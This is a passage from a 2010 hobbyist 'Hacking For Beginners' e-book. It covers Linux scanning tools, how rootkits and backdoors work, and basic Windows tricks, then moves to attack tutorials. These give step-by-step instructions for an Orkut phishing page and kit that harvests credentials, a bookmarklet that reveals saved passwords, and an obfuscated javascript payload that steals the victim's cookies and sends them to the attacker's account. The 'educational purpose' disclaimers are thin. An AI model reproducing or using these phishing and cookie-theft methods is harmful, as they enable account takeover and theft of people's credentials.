  1818.  Stealth Scan, No Ping
  1819.  nmap -v -sS -P0
  1820.  Fingerprint
  1821.  nmap -v -0 #TCP
  1822. Nmap is covered under the GNU General Public License (GPL) and can be downloaded free of charge from
  1823. http://www.insecure.org/nmap. It comes as tarred source as well as RPM format. The usage syntax of Nmap is fairly
  1824. simple. Options to nmap on the command-line are different types of scans that are specified with the -s flag. A ping scan,
  1825. for example, is "-sP". Options are then specified, followed by the hosts or networks to be targeted. Nmap's functionality is
  1826. greatly increased when run as root.
  1827. Nmap is flexible in specifying targets. The user can scan one host or scan entire networks by pointing Nmap to the
  1828. network address with a "/mask" appended to it. Targeting "victim/24" will target the Class C network, whereas
  1829. "victim/16" will target the Class B. Nmap also allows the user to specify networks with wild cards, as in 192.168.7.*, which
  1830. is the same as, or,4,5-16 to scan the selected hosts on that subnet.
  1831. Users are able to sweep entire networks looking for targets with Nmap. This is usually done with a ping scan by using the
  1832. "-sP" flag. A TCP "ping" will send an ACK to each machine on a target network. Machines that are alive on the network will
  1833. respond with a TCP RST. To use the TCP "ping" option with a ping scan, the "-PT" flag is included to specific port on the
  1834. target network.
  1835. Nmap has been covered in detail in module three and readers are advised to refer to that to learn more about the OS
  1836. fingerprinting and other scan options.
  1837. Password cracking in Linux
  1838.  Xcrack
  1839. (http://packetstorm.linuxsecurity.com/Crackers/)
  1840.  Xcrack doesn't do much with rules.
  1841.  It will find any passwords that match words in the dictionary file the user provides, but it won't apply any
  1842. combinations or modifications of those words.
  1843.  It is a comparatively fast tool.
  1844. Xcrack (http://packetstorm.linuxsecurity.com/Crackers/)
  1845. Xcrack is a simple dictionary based password cracking tool. It will find any passwords that match words in the dictionary
  1846. file the user provide. It does not generate permutation combination of the words provided in the dictionary to arrive at
  1847. the right password. For this reason, it is a comparatively faster tool, though efficacy might be less.
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  1851. SARA (Security Auditor’s Research Assistant)
  1852. http://www-arc.com/sara
  1853.  The Security Auditor's Research Assistant (SARA) is a third generation Unix-based security analysis tool that
  1854. supports the FBI Top 20 Consensus on Security.
  1855.  SARA operates on most Unix-type platforms including Linux & Mac OS X
  1856.  SARA is the upgrade of SATAN tool.
  1857.  Getting SARA up and running is a straight forward compilation process, and the rest is done via a browser.
  1858. SARA (Security Auditor's Research Assistant), a derivative of the Security Administrator Tool for Analyzing Networks
  1859. (SATAN), remotely probes systems via the network and stores its findings in a database. The results can be viewed with
  1860. any Level 2 HTML browser that supports the http protocol.
  1861. When no primary_target(s) are specified on the command line, SARA starts up in interactive mode and takes commands
  1862. from the HTML user interface.
  1863. When primary_target(s) are specified on the command line, SARA collects data from the named hosts, and, possibly, from
  1864. hosts that it discovers while probing a primary host. A primary target can be a host name, a host address, or a network
  1865. number. In the latter case, SARA collects data from each host in the named network.
  1866. SARA can generate reports of hosts by type, service, and vulnerability by trust relationship. In addition, it offers tutorials
  1867. that explain the nature of vulnerabilities and how they can be eliminated.
  1868. By default, the behavior of SARA is controlled by a configuration file (config/sara.cf). The defaults can be overruled via
  1869. command-line options or via buttons etc. in the HTML user interface.
  1870. Linux Rootkits
  1871.  One way an intruder can maintain access to a compromised system is by installing a rootkit.
  1872.  A rootkit contains a set of tools and replacement executables for many of the operating system's critical
  1873. components, used to hide evidence of the attacker's presence and to give the attacker backdoor access to the
  1874. system.
  1875.  Rootkits require root access to to install, but once set up, the attacker can get root access back at any time.
  1876. Conventionally, UNIX and Linux have been known to have rootkits built, as the intruder is aware of the code. Here we will
  1877. focus on rootkits that use the LKM or Loadable Kernel Module.
  1878. A brief review: Rootkits appeared in the early 90's, and one of the first advisories came out in Feb 1994. This advisory
  1879. from CERT-CC addressed "Ongoing Network Monitoring Attacks" CA-1994-01 revised on September 19, 1997. Rootkits
  1880. have increased in popularity since then and are getting increasingly difficult to detect. The most common rootkits are
  1881. used for SunOS and Linux operating systems. Rootkits contain several different programs. A typical rootkit will include an
  1882. Ethernet Sniffer, which is designed to sniff out passwords. Rootkits can also include Trojan programs used as backdoors
  1883. such as inetd or login. Support programs such as ps, netstat, rshd, and ls to hide the attacker directories or processes.
  1884. Finally, log cleaners, such as zap, zap2, or z2, are used to remove login entries from the wtmp, utmp, and lastlog files.
  1885. Some rootkits also enable services such as telnet, shell, and finger. The rootkit may also include scripts that will clean up
  1886. other files in the /var/log and var/adm directories. Using the modified programs of ls, ps, and df installed on the box, the
  1887. intruder can "hide" his/her files and programs from the legitimate system administrator.
  1888. The intruder next uses programs within the rootkit to clean up the extensive log files generated from the initial
  1889. vulnerability exploitation. The intruder then uses the installed backdoor program for future access to the compromised
  1890. system in order to retrieve sniffer logs or launch another attack. If a rootkit is properly installed and the log-files are
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  1893. Page 89
  1894. cleaned correctly, a normal system administrator is unaware that the intrusion has even occurred until another site
  1895. contacts him or the disks fill because of the sniffer logs.
  1896. The most severe threat to system security that can be caused by a rootkit comes from those that deploy LKM (Loadable
  1897. Kernel Module) trojans. Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel
  1898. without requiring a kernel recompilation. Even if an infected system is rebooted, the LKM process will reload the Trojan
  1899. during boot-up just like any other kernel module. Loadable Kernel Modules are used by many operating systems including
  1900. Linux, Solaris, and FreeBSD.
  1901. The LKM rootkits facilitate the subversion of system binaries. Knark, Adore, and Rtkit are just a few of many LKM rootkits
  1902. available today. As they run as part of the kernel, these rootkits are less detectable than conventional ones.
  1903. Let us see how a typical backdoor can be installed by an intruder.
  1904. The goal of backdoor is to give access to the hacker despite measures by the compromised system's administrator, with
  1905. least amount of time and visibility. The backdoor that gives local user root access can be: set uid programs, trojaned
  1906. system programs, cron job backdoor.
  1907. Set uid programs. The attacker may plant some set uid shell program in the file system, which when executed will grant
  1908. the root to the attacker.
  1909. Trojaned system programs. The attacker can alter some system programs, such as "login" that will give him root access.
  1910. Cron job backdoor. The attacker may add or modify the jobs of the cron while his program is running so that he can get
  1911. root access.
  1912. The backdoor that gives remote user root access can be: ".rhost" file ssh authorized keys, bind shell, trojaned service.
  1913.  ".rhosts" file. Once "+ +" is in some user's .rhosts file, anybody can log into that account from anywhere without
  1914. password.
  1915.  ssh authorized keys. The attacker may put his public key into victims ssh configuration file "authorized_keys", so
  1916. that he can log into that account without password.
  1917.  Bind shell. The attacker can bind the shell to certain TCP port. Anybody doing a telnet to that port will have an
  1918. interactive shell. More sophisticated backdoors of this kind can be UDP based, or unconnected TCP, or even ICMP
  1919. based.
  1920.  Trojaned service. Any open service can be trojaned to give access to remote user. For example, trojaned the inetd
  1921. program creates a bind shell at certain port, or trojaned ssh daemon give access to certain password.
  1922. After the intruder plants and runs the backdoor, his attention turns to hiding his files and processes. However, these can
  1923. be easily detected by the system administrator - especially if the system is running tripwire.
  1924. Let us see how a LKM rootkit helps achieve the attacker's needs.
  1925. In the case of LKM trojaned rootkits, the attacker can put LKM in /tmp or /var/tmp, the directory that the system
  1926. administrator cannot monitor. Moreover, he can effectively hide files, processes, and network connections. Since he can
  1927. modify the kernel structures, he can replace the original system calls with his own version.
  1928.  To hide files. Commands like "ls", "du" use sys_getdents() to obtain the information of a directory. The LKM will
  1929. just filter out files such that they are hidden.
  1930.  To hide processes. In Linux implementations, process information is mapped to a directory in /proc file system. An
  1931. attacker can modify sys_getdents() and mark this process as invisible in the task structure. The normal
  1932. implementation is to set task's flag (signal number) to some unused value.
  1933.  To hide network connections. Similar to process hiding, the attacker can try to hide something inside
  1934. /proc/net/tcp and /proc/net/udp files. He can trojan the sys_read () so that whenever the system reads these two
  1935. files and a line matching certain string, the system call will not reveal the network connection.
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  1939.  To redirect file execution. Sometimes, the intruder may want to replace the system binaries, like "login", without
  1940. changing the file. He can replace sys_execve () so that whenever the system tries to execute the "login" program,
  1941. it will be re-directed to execute the intruder's version of login program.
  1942.  To hide sniffer. Here we refer to hiding the promiscuous flag of the network interface. The system call to Trojan in
  1943. this case is sys_ioctl().
  1944.  To communicate with LKM. Once the hacker has his LKM installed, he will attempt to modify some system calls
  1945. such that when a special parameter is passed, the system call will be subverted.
  1946.  To hide LKM. A perfect LKM must be able to hide itself from the administrator. The LKM's in the system are kept
  1947. in a single linked list. To hide a LKM an attacker can just remove it from the list so that command such as "lsmod"
  1948. will not reveal it.
  1949.  To hide symbols in the LKM. Normally functions defined in the LKM will be exported so that other LKM can use
  1950. them. An attacker can use a macro and put it at the end of LKM to prevent any symbols from being exported.
  1951. Linux Tools : Security Testing tools
  1952. o NMap (http://www.insecure.org/nmap)
  1953. Premier network auditing and testing tool.
  1954. o LSOF (ftp://vic.cc.pudue.edu/pub/tools/unix/lsof)
  1955. LSOF lists open files for running Unix/Linux processes.
  1956. o Netcat (http://www.atstake.com/research/tools/index.html)
  1957. Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP
  1958. protocol.
  1959. o Hping2 (http://www.kyuzz.org/antirez/hping/)
  1960. hping2 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like
  1961. ping does with ICMP replies.
  1962. o Nemesis (http://www.packetninja.net/nemesis/)
  1963. The Nemesis Project is designed to be a command-line based, portable human IP stack for Unix/Linux
  1964. Linux Security Countermeasures
  1965. Countermeasures
  1966.  Physical Security
  1967. o It is ideal to restrict physical access the computer system so that unauthorized people don't get to misuse
  1968. the system.
  1969.  Password Security
  1970. o Assign hard to guess passwords which are long enough.
  1971. o Ensure procedural discipline so that passwords are kept private
  1972. o Ensure that system does not accept null password or other defaults
  1973.  Network Security
  1974. o Ensure all default network accesses are denied
  1975. $ cat: ALL: ALL" >> /etc/hosts.deny
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  1979. o Ensure that only essential services are running. Stop unused services like sendmail, NFS etc
  1980. $ chkconfig --list
  1981. $ chkconfig --del sendmail
  1982. $ chkconfig --del nfslock
  1983. $ chkconfig --del rpc
  1984. o Verify system logs at regular intervals to check for suspicious activity - (System logs in /var/log/secure)
  1985.  Patch the Linux system and keep it up to date
  1986. o Check for bug fixes at the vendor site
  1987. o Update packages as and when available at the Update site of the vendor.
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  1991. The Tutorial based hacks and explanations.
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  1994. Page 93
  1995. 1. Chat With Friends using MS-DOS
  1996. Step 1:- All you need is your friends IP address and your Command Prompt.
  1997. Step 2 :- Open your notepad and write tis code as it is.
  1998. @echo off:
  1999. A
  2000. Cls
  2001. echo MESSENGER
  2002. set /p n=User:
  2003. set /p m=Message:
  2004. net send %n% %m%
  2005. Pause
  2006. Goto A3.
  2007. Step 3 :- Now save this as "Messenger.Bat”.
  2008. Step 4 :- Drag this file (.bat file)over to Command Prompt and press enter!
  2009. Step 5 :- You would then see some thing like this:
  2011. User:
  2012. Step 6 :- After "User” type the IP address of the computer you want to contact.
  2013. Step 7 :- Before you press "Enter” it should look like this:
  2015. User: IP_Address User: IP_Address
  2016. Message: Hi, How are you ? Message: Hi, How are you?
  2017. Step 8 :- Now all you need to do is press "Enter”, and start chatting.
  2018. “This Trick Works In the LAN connection Only. And may Not support some latest operating Systems
  2019. like Windows 7 and Windows Vista.”
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  2023. 2. How To Change Your IP address
  2024. Step 1. Click on "Start" in the bottom left hand corner of screen
  2025. Step 2. Click on "Run"
  2026. Step 3. Type in "cmd" and hit ok You should now be at an MSDOS prompt screen.
  2027. Step 4. Type "ipconfig /release" just like that, and hit "enter"
  2028. Step 5. Type "exit" and leave the prompt
  2029. Step 6. Right-click on "Network Places" or "My Network Places" on your desktop.
  2030. Step 7. Click on "properties
  2031. You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you
  2032. have a network hooked up, all of your other networks.
  2033. Step 8. Right click on "Local Area Connection" and click "properties"
  2034. Step 9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
  2035. Step 10. Click on "Use the following IP address" under the "General" tab
  2036. Step 11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
  2037. Step 12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
  2038. Step 13. Hit the "Ok" button here
  2039. Step 14. Hit the "Ok" button again You should now be back to the "Local Area Connection" screen.
  2040. Step 15. Right-click back on "Local Area Connection" and go to properties again.
  2041. Step 16. Go back to the "TCP/IP" settings
  2042. Step 17. This time, select "Obtain an IP address automatically" tongue.gif
  2043. Step 18. Hit "Ok"
  2044. Step 19. Hit "Ok" again
  2045. Step 20. You now have a new IP address
  2046. With a little practice, you can easily get this process down to 15 seconds.
  2047. “This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a
  2048. website with this trick be extremely careful, because if they try a little, they can trace it back.”
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  2052. 3. How To fix corrupted XP files
  2053. How to fix corrupted windows file is very easy.Following these following steps
  2054. Requirement:
  2055. 1. Windows XP CD
  2056. Now, follow this steps:
  2057. Step 1. Place the xp cd in your cd/dvd drive
  2058. Step 2. Go to start
  2059. Step 3. Run
  2060. Step 4. Type sfc /scannow
  2061. Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corrupted
  2062. xp system files.
  2063. “ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in the
  2064. PC and you can can Also Use the antivirus if the Possible otherwise format the PC “.
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  2068. 4. Delete an “Undeletable” File / Folder
  2069. You all Are familier With such kinfd of ERROR in windows so how to Fix them.
  2070. Step 1:- Open a Command Prompt window and leave it open.
  2071. Step 2- Close all open programs.
  2072. Step 3:- Click Start, Run and enter TASKMGR.EXE
  2073. Step 4:- Go to the Processes tab and End Process on Explorer.exe.
  2074. Step 5:- Leave Task Manager open.
  2075. Step 6:- Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is
  2076. located in.
  2077. Step 7:- At the command prompt type DEL <filename> where <filename> is the file you wish to delete.
  2078. Step 8:- Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
  2079. Step 9:- Close Task Manager.
  2080. Or you can try this
  2081. Step 1:- Open Notepad.exe
  2082. Step 2:-Click File>Save As..>
  2083. Step 3:-locate the folder where ur undeletable file is
  2084. Step 4:-Choose 'All files' from the file type box
  2085. Step 5:-click once on the file u wanna delete so its name appears in the 'filename' box
  2086. Step 6:-put a " at the start and end of the filename
  2087. (the filename should have the extension of the undeletable file so it will overwrite it)
  2088. Step 7:-click save,
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  2092. Step 8:-It should ask u to overwrite the existing file, choose yes and u can delete it as normal
  2093. Here's a manual way of doing it.
  2094. Step 1:- Start
  2095. Step 2:- Run
  2096. Step 3:- Type: command
  2097. Step 4:- To move into a directory type: cd c:\*** (The stars stand for your folder)
  2098. Step 5:- If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to
  2099. do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without
  2100. spaces. Example: cd c:\progra~1\kazaal~1
  2101. Step 6:- Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
  2102. Step 7:- Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the
  2103. special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the
  2104. specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct
  2105. extension.
  2106. “ You can use antivirus to remove this error if then also the problem persists then you can use the
  2107. following method “.
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  2111. 5. What Is Steganography?
  2112. Steganography is the art and science of hiding messages. Steganography is often combined with cryptography so that
  2113. even if the message is discovered it cannot be read.
  2114. The word steganography is derived from the Greek words "steganos" and "graphein", which mean "covered" and
  2115. "writing." Steganography, therefore, is covered writing.
  2116. Historical stenganography involved techniques such as disappearing ink or microdots. Modern steganography involves
  2117. hiding data in computer files.
  2118. It is fairly easy to hide a secret message in a graphic file without obviously altering the visible appearance of that file.
  2119. Steganography software
  2120. OutGuess is a universal steganographic tool that allows the insertion of hidden information into the redundant bits of
  2121. data sources. The nature of the data source is irrelevant to the core of OutGuess. The program relies on data specific
  2122. handlers that will extract redundant bits and write them back after modification. In this version the PNM and JPEG image
  2123. formats are supported. In the next paragraphs, images will be used as concrete example of data objects, though OutGuess
  2124. can use any kind of data, as long as a handler is provided.
  2125. F5 is a publicly available steganography software package which hides messages in BMP, GIF , and JPG graphics.
  2126. Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from the
  2127. Web. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhanced
  2128. security.
  2129. JPHIDE and JPSEEK are programs which allow you to hide a file in a jpeg visual image. There are lots of versions of similar
  2130. programs available on the internet but JPHIDE and JPSEEK are rather special. The design objective was not simply to hide
  2131. a file but rather to do this in such a way that it is impossible to prove that the host file contains a hidden file. Given a
  2132. typical visual image, a low insertion rate (under 5%) and the absence of the original file, it is not possible to conclude with
  2133. any worthwhile certainty that the host file contains inserted data. As the insertion percentage increases the statistical
  2134. nature of the jpeg coefficients differs from "normal" to the extent that it raises suspicion. Above 15% the effects begin to
  2135. become visible to the naked eye. Of course some images are much better than others when used a host file - plenty of
  2136. fine detail is good. A cloudless blue sky over a snow covered ski paradise is bad. A waterfall in a forest is probably ideal.
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  2140. MP3Stego will hide information in MP3 files during the compression process. The data is first compressed, encrypted and
  2141. then hidden in the MP3 bit stream. Although MP3Stego has been written with steganographic applications in mind it
  2142. might be used as a copyright marking system for MP3 files (weak but still much better than
  2143. the MPEG copyright flag defined by the standard). Any opponent can uncompress the bit stream and recompress it; this
  2144. will delete the hidden information (actually this is the only attack we know yet) but at the expense of severe quality loss.
  2145. Steghide is a steganography program that is able to hide data in JPG, BMP, WAV, and AU files. The color frequencies are
  2146. not changed thus making the embedding resistant against first-order statistical tests.
  2147. Hydan steganographically conceals a message ito an executable. It exploits redundancy in the i386 instruction set by
  2148. defining sets of functionally equivalent instructions. It then encodes information in machine code by using the
  2149. appropriate instructions from each set. The executable filesize remains unchanged. The message is Blowfish encrypted
  2150. with a user-supplied passphrase before being embedded.
  2151. The 1st method that We will Study Here Is Using command Prompt.
  2152. To hide a file behind a image.
  2153. To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open
  2154. in a special way then you can open the hidden file behind the image.
  2155. So to hide the file behind a image open CMD.exe
  2156. 1) Select an image to be used for hiding file behind the image.
  2157. 2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.
  2158. 3) And most important is that paste both the files on desktop and run the following command on the command
  2159. prompt.
  2160. 4) And then type the following command. { cd } { Copy /b imagename.jpg + filename.rar finalnameofimage.jpg }
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  2164. And then hit enter the file will be created with the file final file name of the image.
  2165. “ Using This method for The illegal Activities is against the Laws this tutorial is for educational
  2166. purpose only “.
  2167. “ You Can Also Use The softwares for the steganography like STEGHIDE Or F5 which will make your
  2168. work easy and time efficient “.
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  2172. 6. What Is MD5 Hash & How to Use It ?
  2173. In this post I will explain you about an interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This
  2174. algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical
  2175. aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you
  2176. about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
  2177. Recently I made some significant changes and updates to my website and as obvious I generated a complete backup
  2178. of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few
  2179. days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I
  2180. was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto
  2181. my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the
  2182. download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be
  2183. corrupted due to any of the following reasons.
  2184.  Data loss during the download process, due to instability in the Internet connection/server
  2185.  The file can be tampered due to virus infections or,
  2186.  Due to Hacker attacks
  2187. So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of
  2188. the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In
  2189. this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the
  2190. intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file.
  2191. Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
  2192. A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows
  2193. A simple MD5 Hash
  2194. e4d909c290d0fb1ca068ffaddf22cbd0
  2195. This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not
  2196. have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a
  2197. file.
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  2201. How to use MD5 Hash to check the Integrity of Files?
  2202. Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this
  2203. file on your server. To do so use the following command.
  2204. For UNIX:
  2205. md5sum backup.tar
  2206. When you hit ENTER you’ll see something as follows
  2207. e4d909c290d0fb1ca068ffaddf22cbd0
  2208. This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it’s integrity by
  2209. again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect.
  2210. Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use
  2211. the following freeware tool.
  2212. “You can Download MD5 Summer From Here: http://www.md5summer.org/download.html “.
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  2216. 7. What Is Phishing ?
  2217. The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
  2218. user into surrendering private information that will be used for identity theft.
  2219. The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
  2220. and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
  2221. however, is Bogus and set up only to steal the User’s information.
  2222. Phishing attacks are Trying to steal your Money !!!
  2223. Phishing Scams Could Be-
  2224.  Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
  2225.  Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
  2226.  Emails containing some Information of your Interest and asking you to Login to Your Account.
  2227.  Any Email carrying a Link to Click and asking you to Login.
  2228. The Phishing Hack Starts Now. this Hack example is for orkut account.
  2229. Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which
  2230. includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which
  2231. there are support files for ServerLogin.html
  2232. Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.
  2233. Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any
  2234. web hosting site..
  2235. You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and
  2236. upload the 2 images of the pack in that folder. (it must support PHPs.)
  2237. >>> You can choose one of the following web hosting Company to upload the Folder.
  2238. http://www.freeweb7.com
  2239. http://Ripway.com{Recommended}
  2240. http://www.110mb.com
  2241. http://www.phpnet.us
  2242. “You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.
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  2246. http://www.byethost.com
  2247. http://www.t35.com
  2248. http://www.awardspace.com
  2249. http://www.free-webhosts.com/free-php-webhosting.php
  2250. http://www.freehostia.com
  2251. http://www.dajoob.com
  2252. http://ifastnet.com
  2253. http://007ihost.com
  2254. http://www.247mb.com/register.jsp
  2255. http://www.10gbfreehost.com/
  2256. Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password
  2257. and sign in . Password will be stored in "hackingtech.txt"...
  2258. General form of the fake page's link
  2259. Code:
  2260. http://urwebhostingsite/urusername/ServiceLogin.htm
  2261. Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut
  2262. the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to
  2263. send fake email within short time.
  2264. Now If You want to create your own phishing page the follow the steps below.
  2265. Step 1:-Open the website whose phishing page you want create.
  2266. Step 2:-Then right click any where on the page and select view source.
  2267. Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
  2268. Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
  2269. Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
  2270. Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
  2271. Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should
  2272. be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
  2273. Step 8:-Now Save this as serverlogin.htm
  2274. Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and
  2275. serverlogin.htm file in any web hosting site you want.
  2276. Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
  2277. Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of
  2278. orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see
  2279. how to send fake email within short time.
  2280. Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .
  2281. Hacking For Beginners – Manthan Desai 2010
  2282. w w w . h a c k i n g t e c h . c o . t v
  2283. Page 105
  2284. Prevention Against Phishing :-
  2285.  Read all the Email Carefully and Check if the Sender is Original.
  2286.  Watch the Link Carefully before Clicking
  2287.  Always check the URL in the Browser before Signing IN to your Account
  2288.  Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.
  2289. “Do not use this hack trick in any criminal activities like phishing bank websites and please do not
  2290. destroy any ones account this is only for educational purpose”.
  2291. Hacking For Beginners – Manthan Desai 2010
  2292. w w w . h a c k i n g t e c h . c o . t v
  2293. Page 106
  2294. 8. How To View Hidden Password behind ****
  2295. Step 1.First of all open up the webpage on which you wanna show the hidden passwords.
  2296. Step 2. Then in the username there must be the name and in the password there must be ********
  2297. Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the
  2298. address bar of the browser and you are done.
  2299. javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;
  2300. %20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)
  2301. %20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)
  2302. %20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)
  2303. %20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if
  2304. %20(s)%20alert(%22Passwords%20in%20forms%20on%20this
  2305. %20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are
  2306. %20no%20passwords%20in%20forms%20on%20this
  2307. %20page.%22);})();
  2308. Hacking For Beginners – Manthan Desai 2010
  2309. w w w . h a c k i n g t e c h . c o . t v
  2310. Page 107
  2311. Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown to
  2312. you.
  2313. “You can use This script when some one has checked the remember me button in the login form
  2314. of any website and to reveal password from that saved astrisk or encrypted password”.
  2315. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  2316. this is for educational purpose only”.
  2317. Hacking For Beginners – Manthan Desai 2010
  2318. w w w . h a c k i n g t e c h . c o . t v
  2319. Page 108
  2320. 9. Hack Orkut Accounts by Cookie Stealing
  2321. This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accounts
  2322. has become much popular and hence i have added this article which will help you in hacking your friend’s orkut account.
  2323. Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.
  2324. Note: My purpose is only to make u aware of what’s happening around and not to teach u hacking orkut account, Gmail
  2325. or any account in any sort!!.
  2326. Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail or orkut is given below.
  2327. "Hacking orkut account or Gmail” by "stealing orkut account cookies”:
  2328. The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking method
  2329. required.
  2330. Steps to hack Gmail or orkut account password by stealing orkut cookies:-
  2331. Step 1. Firstly you need have Mozilla firefox.
  2332. Step2. Cookie editor plugin for Mozilla firefox.
  2333. Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies to
  2334. one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two
  2335. Gmail(Orkut) accounts.
  2336. Cookie Script:
  2337. javascript:nobody=replyForm;nobody.toUserId.value=33444211;
  2338. nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?
  2339. Action.submit’;nobody.submit()
  2340. How to use orkut cookies script?
  2341. Step 1. Replace your number "UserId.value=33444211″
  2342. How to Replace your Number
  2343. Step 1. Go to your Orkut album
  2344. Step 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
  2345. Step 3. Now replace your value with the value in the java script.
  2346. “Download cookie editor plugin for Mozilla firefox from: https://addons.mozilla.org/en-US/firefox/addon/573
  2347. Hacking For Beginners – Manthan Desai 2010
  2348. w w w . h a c k i n g t e c h . c o . t v
  2349. Page 109
  2350. Your script will look like -
  2351. javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
  2352. nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));
  2353. nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()
  2354. Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.
  2355. Step 3. You’ll get his orkut account cookie in your scrap book.
  2356. Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookie
  2357. editor plugin( Tools–> Cookie editor)
  2358. Step 5. click filter/refresh.look for ‘orkut_state’ cookie. just double click it and replace the orkut_state part with your
  2359. victim’s Script
  2360. put ur eight digit number in the place of (33444211).
  2361. Thats it your done with.
  2362. Logout of your orkut and login again and you’ll be in your victims Homepage.
  2363. Step 6. So remember guys…if you are having orkut account or having any other account….never use any suspicious script
  2364. to prevent anyone from hacking/accessing your orkut account.
  2365. I hope you have learned how to hack orkut accounts using cookie stealing. Just the script can be used to hack orkut
  2366. accounts and then access victim’s orkut account. Enjoy hacking orkut.
  2367. “Do not use this hack trick in any criminal activities and please do not destroy any ones account
  2368. this is for educational purpose only”.
  2369. “You can also use this attack for many other sites like yahoo but you will need some other scripts
  2370. for that but nothing is impossible so use google and search the script for other sites for self
  2371. practice”.
  2372. Hacking For Beginners – Manthan Desai 2010
  2373. w w w . h a c k i n g t e c h . c o . t v
  2374. Page 110
